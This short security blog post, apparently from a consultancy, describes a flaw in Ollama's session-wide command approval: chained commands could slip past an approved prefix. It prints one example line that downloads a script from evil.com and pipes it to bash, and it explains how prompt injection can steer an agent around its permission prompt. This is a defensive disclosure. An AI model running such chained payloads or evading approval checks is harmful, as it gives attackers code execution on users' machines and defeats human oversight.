AI SecurityCommand InjectionOllama

When 'Allow for This Session' Becomes a Remote Shell

Afaq AmjadJune 2, 20265 min read

The new wave of local AI agents can run shell commands for you. To stay safe they ask permission — and to stay convenient they let you say "allow this kind of command for the whole session." That convenience is exactly where things break.

The trap in "allow once, trust forever"

When you approve a command, the agent has to decide what future commands count as "the same kind." If that decision is not shell-aware, an attacker who can steer the model's output (via prompt injection or a malicious model) can hide extra commands behind an already-approved prefix.

In Ollama, the approval layer extracted a prefix by splitting on the pipe character only — it ignored ;, &&, || and $(...). So once cat /etc/hosts was approved, this ran with no prompt:

cat /etc/hosts; curl -s http://evil.com/shell.sh | bash

The prefix still looked like cat, the allowlist matched, and the payload executed via bash -c. Full remote code execution.

The lesson

If your agent allowlists commands, allowlist the whole normalized command, and reject anything containing chaining or substitution metacharacters before you compare. A prefix is not a security boundary.

We wrote this one up in detail, including the vulnerable Go function and the full chain: read the Ollama RCE write-up.

More from the blog

Want this level of rigor on your stack?

Our team helps organizations find and fix what attackers look for.

Talk to Faseel